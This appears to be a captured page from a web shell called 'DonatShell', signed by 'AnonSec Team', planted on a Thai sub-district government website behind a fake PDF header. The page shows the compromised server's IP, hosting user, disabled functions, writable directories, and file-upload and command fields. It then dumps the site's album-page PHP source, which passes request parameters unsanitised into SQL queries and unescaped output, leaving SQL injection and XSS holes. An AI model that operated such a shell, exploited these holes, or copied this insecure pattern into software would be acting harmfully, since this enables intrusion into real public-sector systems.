%PDF-1.5 % ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 122.155.17.190  /  Your IP : 3.142.211.95
Web Server : Apache/2
System : Linux cat17190.thaihostserver.com 5.10.0-21-amd64 #1 SMP Debian 5.10.162-1 (2023-01-21) x86_64
User : bungkla ( 1054)
PHP Version : 5.6.40
Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/bungkla/domains/bungkla.go.th/public_html/albums/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/bungkla/domains/bungkla.go.th/public_html/albums/activities.php
<?
Header("Content-Type: text/html; charset=UTF-8");;
$salb_id = $_GET['salb_id'];
if(!isset($salb_id) || empty($salb_id))
{
	die;exit;
}
include("../include/config.php");
include("../include/function.php");
include("../include/config_db.php");			

$c_alb_title = "";
$c_alb_description = "";
$c_alb_counter = "";
$sql = "select * from `activity_album` where (`id`='$salb_id') limit 1 ";
$result = mysql_query($sql) or die("Can't send query !A");
$num_rows = mysql_num_rows($result);
if($num_rows>0){
	$c_alb_title = mysql_result($result, 0,"alb_title");
	$c_alb_description = mysql_result($result, 0,"alb_description");
	$c_alb_clip = mysql_result($result, 0,"alb_clip");
	$c_date_publish = mysql_result($result, 0,"date_publish");
	$c_date = dateThai_MM($c_date_publish);
	$c_alb_counter = mysql_result($result, 0,"alb_counter");
	$c_alb_counter = $c_alb_counter + 1;
	$sql = "update `activity_album` set `alb_counter`='$c_alb_counter' where (`id`='$salb_id')";
	$dbquery = mysql_query($sql) or die("ไม่สามารถบันทึกข้อมูลได้ !B");
	unset($dbquery);
	//echo "<br>".$c_alb_counter." AAAAAAAA";
}
mysql_free_result($result);
unset($result);
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title> อัลบั้มภาพ
<?=$c_alb_title;?>
</title>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<meta name="KeyWords" content="<?=$c_alb_title;?>,องค์การบริหารส่วนตำบลแม่กระบุง , จังหวัดกาญจนบุรี , อัลบั้มภาพ" />
<meta name="Description" content="อัลบั้มภาพ <?=$c_alb_title;?>  pre-wedding" />
<meta name="ROBOTS" content="index, follow" />
<meta http-equiv="CACHE-CONTROL" content="NO-CACHE">
<meta http-equiv="EXPIRES" content="Sun, 1 Jan 2000 12:00:00 GMT">
<meta http-equiv="PRAGMA" content="NO-CACHE">
<link href="svstyles.css?v=<?php echo filemtime('svstyles.css');?>" rel="stylesheet" type="text/css" />
<script type="text/javascript" src="../include/js/prototype.js"></script>
<script type="text/javascript" src="../include/js/scriptaculous.js?load=effects"></script>
<script type="text/javascript" src="../include/js/lightbox.js"></script>
<link rel="stylesheet" href="../include/css/lightbox.css" type="text/css" media="screen" />





<link rel="icon" href= "../logo/logo01.png" type="image/x-icon"/>




<!--body -->
<style type="text/css">
body {
	margin-left: 0px;
	margin-top: 0px;
	margin-right: 0px;
	margin-bottom: 0px;
	background-color:#ffffff;	
	font-family: 'Kanit', sans-serif;	
}



a:link {
	text-decoration: none;
}
a:visited {
	text-decoration: none;
}
a:hover {
	text-decoration: none;
}
a:active {
	text-decoration: none;
}

</style>


<!--font-->
<link href="https://fonts.googleapis.com/css?family=Chakra+Petch|Kanit|Pridi&display=swap" rel="stylesheet">













<!--bn_l-->
<style>
#mySidenav a {
  position: fixed;
  left: -10px;
  transition: 0.3s;
  padding: 85px;
  width: 150px;
  text-decoration: none;
  font-size: 20px;
  color: white;
  border-radius: 0 5px 5px 0;
  background-repeat:no-repeat;
}

#mySidenav a:hover {
  left: 10;

}

#about {
  top: 50px;
   background-image:url(../images/15bn_tl_01.png);
  

}
#acontact {
  top: 150px;
   background-image:url(../images/15bn_tl_05.png);

   
   
}
.btn-animated2 {    animation: moveInBottom 5s ease-out;
    animation-fill-mode: backwards;
	font-size:24px;
}
.style3 {font-family: 'Kanit', sans-serif}
</style>


<div id="mySidenav" class="sidenav">
  <a href="/index.php" id="about"> </a>

  <a href="/admin/index.php"  id="acontact"> </a>

</div>
<!--bn_l-->








</head>

<body  background="../images/0bg1.jpg" style="background-repeat:no-repeat; background-position:top"   font-family: 'Kanit', sans-serif;	>


<!-- content -->
<div align="center">
  <table width="980" border="0" cellspacing="0" cellpadding="0">
	 
  
	  <table width="980" border="0" align="center" cellpadding="0" cellspacing="0">
  
  <tr>
    <td height="144" align="center" valign="top"><img src="../images/01logo_head.png" width="980" height="144"></td>
  </tr>
  <tr>
          <td align="center" valign="top"><div align="center"><marquee behavior="SCROLL"><img src="../images/b_n/77.gif" width="112" height="167" />
            </marquee>
            </div></td>
    </tr>
  <tr>
    <td height="292" align="center" valign="top">&nbsp;</td>
  </tr>
    <tr>
    <td height="131" align="center" valign="top"><table width="980" height="131" border="0" align="center" cellpadding="0" cellspacing="0">
      <tr>
        <td align="center" valign="top"><img src="../images/bg/bt5.gif" width="256" height="96" /></td>
        <td align="center" valign="top">&nbsp;</td>
        <td align="center" valign="top"><div align="center"><style>
				  * {
    -moz-box-sizing: border-box;
    -webkit-box-sizing: border-box;
    box-sizing: border-box;
    margin: 0;
    padding: 0;
}

.image-box {
    position: relative;
    margin: auto;
    overflow: hidden;

}
.image-box img {

    transition: all 0.3s;
    display: block;
    height: auto;
    transform: scale(1);
}

.image-box:hover img {
    transform: scale(1.1);
}

</style></div></td>
        <td align="center" valign="top"><img src="../images/bg/bt5.gif" width="256" height="96" /></td>
      </tr>
    </table></td>
  </tr>
						    <tr>
						      <td height="163" align="center" valign="top" class="manu1"><table width="980" height="163" border="0" cellpadding="0" cellspacing="0">
                                <tr>
                                  <td><div align="center"class="image-box"><a href="/index.php"><img src="../images/03menutop_01.png" width="163" height="163" border="0" /></a></div></td>
                                </tr>
                              </table>
  <tr>
	
    <tr>
      <td align="center" valign="top"><table width="960" border="0" align="center" cellpadding="0" cellspacing="0">
        <tr>
          <th height="5" align="center" valign="top" scope="col"><div align="left"></div></th>
        </tr>
        <tr>
          <td align="center" valign="top">
            <table width="960" border="0" align="center" cellpadding="0" cellspacing="0">
              <tr>
                <th valign="top" scope="col"><div align="center">
			<table width="90%" border="0" cellspacing="0" cellpadding="0" align="center">
			<tr><td height="5" valign="top">&nbsp;<a name="toppage"></a></td>
			</tr>
			<tr align="left">
			   <td class="title2"><div align="right"></div></td>
			</tr>
			</table>
		  </div></th>
              </tr>
              <tr>
                <td valign="top"><div id="main">
				
				
				
				
				
	<div id="svDivActivitiesD"><!--Content-->
			<div id="svDivAlbums">
				
				
				
				
				
				<div id="svDivAlbums5A" class="magnifyarea">
				
				
				<!--contant_font-->
				
				
				<div align="left" style="margin-top:20px; margin-left:10px; margin-right:10px;"> 
				<a href="../index.php" title="หน้าแรก" class="linktextblack">• หน้าแรก</a> > <a href="index.php" title="อัลบั้มภาพกิจกรรม" class="linktextblack">• อัลบั้มภาพกิจกรรม</a> > <a href="activities.php?salb_id=<?=$salb_id;?>" title="<?=$c_alb_title;?>" class="linktextblack"><?=$c_alb_title;?></a> <font class="textgray"><br/>( ประกาศเมื่อวันที่ <?=$c_date;?> )</font>				</div>
				
				<br/><br/>
				
				<? echo "<center><font size=3><b>อัลบั้มภาพ \"".$c_alb_title."\"</b></font></center> "; ?>
				
				
				<div align="left" style="margin-top:20px; margin-left:10px; margin-right:10px;" >
					<font size=3><b>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<? echo $c_alb_description."<br /><br />";?>
					<? echo $c_alb_clip;?></b></font>				</div>
				<!--end_contant_font-->
			
			
			
			
					<?
	
					echo "<div id=\"svDivAlbums5RowA\">\n";
	
					$sql = "select * From `activity_album_detail` where (`alb_id`='$salb_id') ";
					$sql .= "Order by `id` Asc ";
					
					$item = 0;
					$Per_Page = 25;
					if(!$_GET['Page'])
					{
						$Page=1;
					}else
					{
						$Page = $_GET['Page'];
					}
					$Prev_Page = $Page-1;
					$Next_Page = $Page+1;
					$Page_start = ($Per_Page*$Page)-$Per_Page;
					$sql_2 = "SELECT COUNT(*) AS num_rows_2 FROM `activity_album_detail` where  (`alb_id`='$salb_id') ";
					$dbquery = mysql_query($sql_2);
					$Num_Rows = mysql_num_rows($dbquery);
					if($Num_Rows>0)
					{
						$Num_Rows = mysql_result($dbquery, 0,"num_rows_2");
					}
					mysql_free_result($dbquery);
					unset($dbquery);
					if($Num_Rows<=$Per_Page)
					$Num_Pages =1;
					else if(($Num_Rows % $Per_Page)==0)
					$Num_Pages =($Num_Rows/$Per_Page) ;
					else 
					$Num_Pages =($Num_Rows/$Per_Page) +1;
					$Num_Pages = (int)$Num_Pages;
					if(($Page>$Num_Pages) || ($Page<0))
					print "<center><b>ยังไม่มีข้อมูล<b></center>";
					//print "<center><b>จำนวน $Page มากกว่า $Num_Pages ยังไม่มีข้อความ<b></center>";
					$sql .= "LIMIT $Page_start , $Per_Page";
					//ส่วนแสดงผล
					$result = mysql_query($sql);
					//$item = ($Page-1) * $Per_Page;
					$item = 0;

					While($row= mysql_fetch_assoc($result))
					{
						$item = $item + 1;
						if (($item % 6) == 0){
							echo "</div><br>\n";
							echo "<div id=\"svDivAlbums5RowA\">\n";
							$item = 1;
						}
					
						$c_id =  $row["id"];
						$c_ald_name = $row["ald_name"];
						$c_ald_name_sub = $c_ald_name;
						if(strlen($c_ald_name_sub) > 80){
							$c_ald_name_sub = trim(utf8_substr($c_ald_name_sub,0,80));
						}
						$c_ald_photopath = $row["ald_photopath"];
						$c_ald_photopath = trim($c_ald_photopath);
						//$c_ald_counter = $row["ald_counter"];

						$file_dir = 'a'.$salb_id.'_a';

						$images = "";
						$images2 = "";
						if($c_ald_photopath != "")
						{
							$images = "../photoThumbnail/albums/".$file_dir."/thumb/t_".$c_ald_photopath;
							$images2 = "../photoThumbnail/albums/".$file_dir."/".$c_ald_photopath;
						}
						else
						{
							$images = "images/noimage.gif";
							$images2 = "images/noimage.gif";
						}

						$r_item = $item+2;
						
						echo "	<div id=\"svDivAlbums5".$r_item."\">\n";
						echo "		<div id=\"svDivAlbums531\" style=\"\"><img src=\"".$_web_path."/albums/images/albums_05_03_01.jpg\" width=\"159\" height=\"5\" alt=\"\"></div>\n";
						echo "		<div id=\"svDivAlbums532\" style=\"\"><img src=\"".$_web_path."/albums/images/albums_05_03_02.jpg\" width=\"4\" height=\"100\" alt=\"\"></div>\n";
						echo "		<div id=\"svDivAlbums533\" style=\"\"><a href=\"".$images2."\" rel=\"lightbox[pictureslide]\" title=\"".$c_ald_name."\"><img src=\"".$images."\" width=\"150\" height=\"100\" alt=\"".$c_ald_name."\" border=\"0\"></a></div>\n";
						echo "		<div id=\"svDivAlbums534\" style=\"\"><img src=\"".$_web_path."/albums/images/albums_05_03_04.jpg\" width=\"5\" height=\"100\" alt=\"\"></div>\n";
						echo "		<div id=\"svDivAlbums535\" style=\"\"><img src=\"".$_web_path."/albums/images/albums_05_03_05.jpg\" width=\"159\" height=\"11\" alt=\"\"></div>\n";
						echo "		<div id=\"svDivAlbums536\" style=\"\" class=\"linktextblack\"><a href=\"".$images2."\" rel=\"lightbox[pictureslide]\" title=\"".$c_ald_name."\" class=\"linktextblack\">".$c_ald_name_sub."</a><br /></div>\n";
						echo "	</div>\n";

					} //while

					echo "</div>\n";
					echo "<div id=\"svDivAlbumsMoreC\">\n";

					$PHP_SELF = $_SERVER['PHP_SELF'];
					if($Prev_Page) 
					echo "&nbsp;&nbsp;<a href='$PHP_SELF?Page=1&salb_id=$salb_id#top_page' class='linktextblack'><<</a>&nbsp;&nbsp;<a href='$PHP_SELF?Page=$Prev_Page&salb_id=$salb_id#top_page' class='linktextblack'><</a>&nbsp;";
					$Show_Page = 10;
					$s1 = $Page - $Show_Page;
					if($s1 <= 0 ){$s1 = 1;}
					$s2 =  $Page + $Show_Page;
					if($s2 > $Num_Pages){$s2 = $Num_Pages;}
					if($s1 == 1 ){
						$s2 = $Show_Page+10;
						if($s2 > $Num_Pages){$s2 = $Num_Pages;}
					}
					if(($s2 == $Num_Pages) &&($s1 != 1)){
						$s1 = $Num_Pages-20;
						if($s1 <= 0 ){$s1 = 1;}
					}

					for($i=$s1; $i<=$s2; $i++)
					{
						if($i != $Page)
						{
							echo "<a href='$PHP_SELF?Page=$i&salb_id=$salb_id#top_page' class='linktextblack'>[ $i ]</a>";
						}
						else
						{
							if($Num_Rows > $Per_Page){
								echo "<font class='linktextblack'><b>[ $i ]</b></font>";
							}
						}
					}

					if($Num_Pages>($i-1))
					{
						if($Num_Pages>($i+1))
						{
							$bNum_Pages = $Num_Pages - 1;
							echo "...<a href ='$PHP_SELF?Page=$bNum_Pages&salb_id=$salb_id#top_page' class='linktextblack'>[ $bNum_Pages ]</a>";
						}else if($Num_Pages==($i+1))
						{
							$bNum_Pages = $i;
							echo "<a href ='$PHP_SELF?Page=$bNum_Pages&salb_id=$salb_id#top_page' class='linktextblack'>[ $bNum_Pages ]</a>";
						}
						echo "<a href ='$PHP_SELF?Page=$Num_Pages&salb_id=$salb_id#top_page' class='linktextblack'>[ $Num_Pages ]</a>";
					}

					if($Page!=$Num_Pages)
					echo "&nbsp;<a href ='$PHP_SELF?Page=$Next_Page&salb_id=$salb_id#top_page' class='linktextblack'>&nbsp;></a>&nbsp;&nbsp;<a href ='$PHP_SELF?Page=$Num_Pages&salb_id=$salb_id#top_page' class='linktextblack'>>></a>";
					echo "&nbsp;</div>\n";
					if(isset($result)){
					mysql_free_result($result );
					unset($result);
					}
					include("../include/close_db.php");

					?>
					
					<div align="center" style="margin-top:20px;">
					  <!--<iframe src="activities_comment.php?salb_id=<?=$salb_id;?>" id="iframecom" frameborder="0"  height="400px" width="400px" style="border: 0px;" scrolling="no" marginheight="5px" marginwidth="0px"></iframe>-->
					</div>
				</div>			
			</div>
	</div>
</div></td>
              </tr>
              <tr>
                <td valign="top">&nbsp;</td>
              </tr>
            </table>          </td>
        </tr>
      </table></td>
    </tr>
  </table>
 
</div>
<!-- end_content -->

<tr><td><a style="display:scroll;position:fixed;bottom:5px;right:5px;" class="backtotop" href="#top" rel="nofollow" title="Back to Top"><img src="../images/up.png" border="0" /></a></td>
</tr>
</body>
</html>

Anon7 - 2022
AnonSec Team